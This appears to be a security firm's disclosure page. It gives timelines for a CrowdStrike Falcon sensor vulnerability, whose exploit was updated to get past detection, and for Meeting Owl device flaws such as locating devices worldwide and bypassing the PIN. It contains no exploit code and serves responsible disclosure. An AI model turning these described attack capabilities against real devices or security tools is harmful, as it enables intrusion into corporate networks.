    2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
                 unsupported  version of  the Falcon  Sensor. CS  told us
                 about the  error message and  that they are not  able to
                 reproduce.

    2022/07/05 - modzero told  CS that the  error message can  be ignored
                 and refered to their PoC screencast video. We also asked
                 for a recent (14-day trial)  version of Falcon Sensor to
                 provide reliable information if  the most recent version
                 is still vulnerable or not.

    2022/07/05 - CS answered: "We  do not provide trial  licenses as part
                 of this  process, however having  tested the PoC  on our
                 end with  a modern sensor this  does not appear to  be a
                 valid issue."

    2022/07/05 - modzero  announced publishing  the advisory  and exploit
                 code by end  of week, asking if the quote  of CS "Having
                 tested the PoC on our end with a modern sensor this does
                 not  appear to  be a  valid issue"  can be  used in  our
                 report.

    2022/07/06 - CS asking for a  meeting between modzero's Sr Leadership
                 and CS to  discuss next steps related to  the bug bounty
                 disclosure.

    2022/07/07 - modzero, again,  told CS, that we  are not participating
                 in any bug  bounty program and that there is  no need to
                 discuss NDAs or bug bounty programs.

    2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
                 of CrowdStrike  Falcon and verified, that  the attack is
                 still  possible. Furthermore,  modzero figured  out that
                 the  vulnerability  (that  was rejected  by  CrowdStrike
                 first) has  been silently fixed:  The PoC that  has been
                 sent  to  CrowdStrike  was  flagged  as  malicious.  The
                 msiexec  call of  the  deinstaller was  also flagged  as
                 malicious.  Both "countermeasures"  can be  circumvented
                 easily, we updated the exploit accordingly.

    2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
                 code,  because  CrowdStrike  was  unwilling  to  set  up
                 a  cooperative  information  exchange outside  of  their
                 NDA-ridden BugBounty program  to discuss vulnerabilities
                 in their products.

To use the owl, it must be connected to a computer via USB. Additionally, an app for iOS and Android, as well as a web interface for configuration and administration is provided. Although the device made a good first impression due to its appealing design and usability, the analysis revealed serious defects in the built-in security mechanisms.

Find Meeting Owls near you!!

By exploiting the vulnerabilities we found during our analysis, an attacker can find registered devices, their data, and owners from around the world. Attackers can also access confidential screenshots of whiteboards or use the Owl to get access to the owner's network. The PIN protection, which protects the Owl from unauthorized use, can be circumvented by an attacker by (at least) four different approaches.

The map above was generated based on publicly available data which was also disclosed to Owl Labs.

The details of these and other security vulnerabilities can be found in our detailed report (PDF).

Conclusion

According to our analysis described above, the Meeting Owl is currently everything but safe.

After we reported the weaknesses to the manufacturer, we only got feedback after contacting the American Cybersecurity and Infrastructure Security Agency, CISA. However, expanding your infrastructure with startup-technology may put your information security at risk. Sometimes it is useful, to examine the new technologies first before they are used in private and critical environments. Without such an assessment, unnoticed security risks can occur to the corporate or private network and its systems.

Disclosure Timeline

On 01/19/2022 we tried to contact the security officers at Owl Labs for the first time, unfortunately without success. On 02/01/2022 we tried again. Furthermore, on 02/09/2022 we contacted the German Bundesamt für Sicherheit in der Informtionstechnik (BSI) for further clarification with the American authority CISA. We received an answer from Owl Labs on 02/17/2022, after reporting to CISA. After we asked for a timeline or roadmap, Owl Labs told us on 03/14/2022, that they will roll out updates starting next week, and that all vulnerabilities will be remediated by mid-May. Until today, several update have been published by Owl Labs. According to a quick inspection, there are still open security issues and weaknesses, thus we postpone the release of our tools for another four weeks.

Our disclosure policy has been submitted to Owl Labs and is available here (PDF).